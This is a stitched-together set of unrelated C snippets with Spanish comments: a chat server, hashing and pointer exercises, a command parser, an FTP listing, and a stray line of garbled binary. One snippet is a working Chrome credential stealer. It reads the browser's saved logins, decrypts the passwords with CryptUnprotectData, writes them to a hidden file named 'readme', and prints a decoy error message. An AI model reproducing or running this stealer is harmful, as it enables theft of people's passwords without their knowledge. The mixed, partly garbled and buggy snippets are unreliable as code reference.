typedef struct _ConnectedHosts {
  int socket;
  char *Alias;
  char *ipAddr;
  struct _ConnectedHosts *Next;
} ConnectedHosts, *PConnectedHosts;

PConnectedHosts CreateClient(int socket) {
  int addrlen;
  char *ipAddr = (char *)calloc(INET_ADDRSTRLEN, sizeof(char));
  struct sockaddr_in ConnectedAddr;
  struct _ConnectedHosts *cHosts = (PConnectedHosts)malloc(sizeof(ConnectedHosts));
 
  addrlen = sizeof(ConnectedAddr);
  if(getpeername(socket, (struct sockaddr *)&ConnectedAddr, &addrlen) < 0) {
    return NULL;
  }
 
  inet_ntop(AF_INET, &ConnectedAddr.sin_addr, ipAddr, INET_ADDRSTRLEN);
 
  cHosts->socket = socket;
  cHosts->ipAddr = ipAddr;
  cHosts->Alias = (char *)calloc(ALIASLEN, sizeof(char));
  cHosts->Next = NULL;
 
  return cHosts;
}

void AddClient(PConnectedHosts RemoteAddr, PConnectedHosts MainAddr) {
  PConnectedHosts aux = MainAddr;
 
  if(MainAddr == NULL) {
    MainAddr = RemoteAddr;
  }
  else {
    while(aux->Next != NULL) {
      aux = aux->Next;
    }
 
    aux->Next = RemoteAddr;
  }
}

int DeleteClient(PConnectedHosts DeleteAddr, PConnectedHosts MainAddr) {
  if(MainAddr == NULL || DeleteAddr == NULL) {
    return 1;
  }
 
  PConnectedHosts bAux;
  PConnectedHosts aux = MainAddr;
  PConnectedHosts aAux;
 
  while(aux != DeleteAddr) {
    bAux = aux;
    aux = aux->Next;
    aAux = aux->Next;
  }
 
  close(aux->socket);
  free(aux->Alias);
  free(aux->ipAddr);
  free(aux);
 
  bAux->Next = aAux;
  return 0;
}

PConnectedHosts whatsClient(int socket, PConnectedHosts MainAddr) {
  PConnectedHosts aux = MainAddr;
 
  if(aux != NULL) { 
    while(aux->Next != NULL && aux->socket != socket) {
      aux = aux->Next;
    }
  }
 
  return aux;
}

#include "WDestChat.h"
 
int main() {
  int i, aux, max, cSocket, lSocket;
  char Buffer[1025];
  struct sockaddr_in ServerAddr, ClientAddr;
  PConnectedHosts auxHosts = NULL;
  PConnectedHosts cHosts = NULL;
  fd_set master, temp;
 
  lSocket = CreateListenSocket(PORT, MAX, &ServerAddr);
  if(lSocket < 0) {
    PrintError("Error creating socket");
    return 1;
  }
 
  max = lSocket + 1;
  FD_SET(lSocket, &temp);
 
  while(1) {
    master = temp;
    if(select(max, &master, NULL, NULL, NULL) < 0) {
      PrintError("Error receiving information");
      return 1;
    }
 
    for(i = 0; i <= max; i++) {
      if(FD_ISSET(i, &master)) {
        if(i == lSocket) {
          cSocket = AcceptClient(lSocket, &ClientAddr);
          if(cSocket < 0) {
            PrintError("Error accepting client");
          }
          else {
            if(max < cSocket) {
              max = cSocket + 1;
            }
            /* Creating client list */
            auxHosts = CreateClient(cSocket);
            if(auxHosts == NULL) {
              PrintError("Error creating client list");
            }
            /* receiving the alias */
            recv(cSocket, auxHosts->Alias, 15, 0);
            /* adding client to structure */
            AddClient(auxHosts, cHosts);
            /* adding client to socket array */
            FD_SET(cSocket, &temp);
 
            printf("New client connected\n");
          }
        }
        else {
          aux = recv(i, Buffer, 1024, 0);
          if(aux == 0) {
            printf("%d socket was closed the connection\n", i);
            FD_CLR(i, &temp);
            auxHosts = whatsClient(i, cHosts);
            DeleteClient(auxHosts, cHosts);
          }
          else if(aux > 0) {
            printf("%s\n", Buffer);
            for(aux = 0; aux < max; aux++) {
              if(aux == i || aux == lSocket) {
                continue;
              }
              else {
                auxHosts = whatsClient(aux, cHosts);
                send(aux, auxHosts->Alias, 15, 0);
                send(aux, Buffer, 1024, 0);
              }
            }
            memset(Buffer, '\0', sizeof(Buffer));
          }
        }
      }
    }
  }
  close(lSocket);
  return 0;
}

#include <stdio.h>
#include <openssl/sha.h>
 
int main() {
  char *a = "hola";
  size_t len = sizeof(a);
  unsigned char hash[40];
 
  SHA1(a, len, hash);
  printf("%s\n", hash);
 
  return 0;
}

�X�{�]�Μ(`x�;6�

char **GetCommand(int maxLength) { /*Recibe un comando*/
  int argc, secArgc;
  char *stdBuffer = (char *)malloc(sizeof(char) * maxLength);
  char **stdCommand = (char **)malloc(sizeof(char *) * (maxLength / 2));
 
  argc = secArgc = 0;
  stdCommand[argc] = (char *)malloc(sizeof(char) * (maxLength / 4));
 
  printf("%s ", COMMAND_PROMPT);
  fgets(stdBuffer, maxLength, stdin);
  stdBuffer[strlen(stdBuffer) - 1] = '\0';
 
  while(*stdBuffer) {
    if(*stdBuffer == '\n') {
      break;
    }
 
    if(*stdBuffer == ' ') {
      secArgc = 0;
      stdCommand[++argc] = (char *)malloc(sizeof(char) * (maxLength / 4));
    }
 
    stdCommand[argc][secArgc++] = *stdBuffer++;
  }
  stdBuffer = NULL;
  free(stdBuffer);
 
 return stdCommand;
}

char **stdLine = NULL;
 
  while(stdLine = GetCommand(1024)) { /*Mientras se reciba un comando*/
    printf("%s\n", stdLine[0]);
 
    switch(comExecute((const char **)stdLine)) {
      case 0: break;
      case 1: perror("Can\'t execute these command\n");
      case EXIT_COMMAND: exit = 1;
    }
    if(exit) { /*Si ha escrito 'exit'*/
      break;
    }
 
    free(stdLine);
  }

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include "sqlite3.c"
 
#define AUTHOR "Mester"
 
char CurUser[40];
 
void ChromeDirectory(char *Disk, char *cDir)
{
  DWORD I = 40;
 
  GetUserName(CurUser, &I);
  sprintf(cDir, "%sUsers\\%s\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", Disk, CurUser);
}
 
int main()
{
  int Write = 1;
  char *Query = "SELECT origin_url, username_value, password_value FROM logins";
  char *cDir = (char *)malloc(sizeof(char) * 200);
  const char *cData = (char *)malloc(sizeof(char) * 140);
  const char *Bar = "-----------------------------------";
  FILE *sf;
  DATA_BLOB DataIn, DataOut;
  sqlite3 *DB;
  sqlite3_stmt *Stmt;
 
  ChromeDirectory("C:\\", cDir);
  if(sqlite3_open(cDir, &DB) != SQLITE_OK)
  {
    ChromeDirectory("D:\\", cDir);
    if(sqlite3_open(cDir, &DB) != SQLITE_OK)
    {
      ChromeDirectory("E:\\", cDir);
      if(sqlite3_open(cDir, &DB) != SQLITE_OK)
      {
        printf("Error 0x1%s\n", AUTHOR);
        Sleep(1000);
        return 1;
      }
    }
  }
 
  if(sqlite3_prepare_v2(DB, Query, -1, &Stmt, 0) != SQLITE_OK)
  {
  	printf("Error 0x2%s\n", AUTHOR);
  	Sleep(1000);
    return 1;
  }
 
  sf = fopen("readme", "a+");
  if(sf == NULL)
    Write = 0;
  fprintf(sf, "%s\n%s\n\n", Bar, CurUser);
 
  while(sqlite3_step(Stmt) == SQLITE_ROW)
  {
    cData = sqlite3_column_text(Stmt, 0);
    if(Write)
      fprintf(sf, "URL: %s\n", cData);
    else
      printf("URL: %s\n", cData);
 
    cData = sqlite3_column_text(Stmt, 1);
    if(Write)
      fprintf(sf, "Username: %s\n", cData);
    else
      printf("Username: %s\n", cData);
 
    DataIn.pbData = (BYTE *)sqlite3_column_blob(Stmt, 2);
    DataIn.cbData = sqlite3_column_bytes(Stmt, 2);
 
    CryptUnprotectData(&DataIn, 0, 0, 0, 0, 0, &DataOut);
 
    DataOut.pbData[DataOut.cbData] = '\0';
    if(Write)
      fprintf(sf, "Password: %s\n\n\n", DataOut.pbData);
    else
      printf("Password: %s\n\n\n", DataOut.pbData);
  }
  if(Write)
  {
    fclose(sf);
    SetFileAttributes("readme", FILE_ATTRIBUTE_HIDDEN);
  }
  printf("Error 0x%s", AUTHOR);
  return 0;
}

void modificar(int *algo)
{
   *algo++;
   printf("%d\n",*algo);
}
int main()
{
   int cosa = 5;
   modificar(&cosa);
 return 0;
}

void modificar(int *algo)
{
   *algo+=1;
   printf("%d\n",*algo);
}
int main()
{
   int cosa = 5;
   modificar(&cosa);
 return 0;
}

void strssr(const char *arg /*Argumento que contiene los numeros*/,
             char *s /*Puntero a since */,
              char *t /*Puntero a to */,
               uint8_t lim /*Limite de separacion */)
{
   char *str = (char *)arg;
   while(*str)
   {
     *s = *str++;
     if(*str == lim)
       break;
     *s++;
   }
   *str++;
   while(*str)
   {
     *t = *str++;
     *t++;
   }
}

int main()
{
   char *ip = (char *)calloc(16,sizeof(char));
   char *puerto = (char *)calloc(5,sizeof(char));
   strssr("192.168.1.1:8080", ip, puerto, ':');
   printf("%s\t%s\n", ip, puerto);
 return 0;
}

int strstr(const char *str1, const char *str2) {
  char *cp = (char *) str1;
  char *s1, *s2;
  if (!*str2) return 0; //Que significa el (!*str2)
  while (*cp) {
    s1 = cp;
    s2 = (char *) str2;
    while (*s1 && *s2 && !(*s1 - *s2)) //Que significa (*s1 && *s2) y luego el && !(*s1 - *s2)
        s1++, s2++;
    if (!*s2) return 0;
    cp++;
  }
  return 1;
}
 

...
TCHAR direct[MAX_PATH];
DWORD det=MAX_PATH;
WIN32_FIND_DATA met;
do{//El socket es "conexion"
	FtpGetCurrentDirectory(conexion,direct,&det);
	if(FtpFindFirstFile(conexion,direct,&met,det,0)==NULL)
		printf("NULL\n");
	else
		printf("%s\n",met.cFileName);
}while(InternetFindNextFile(conexion,(LPVOID)&met));
...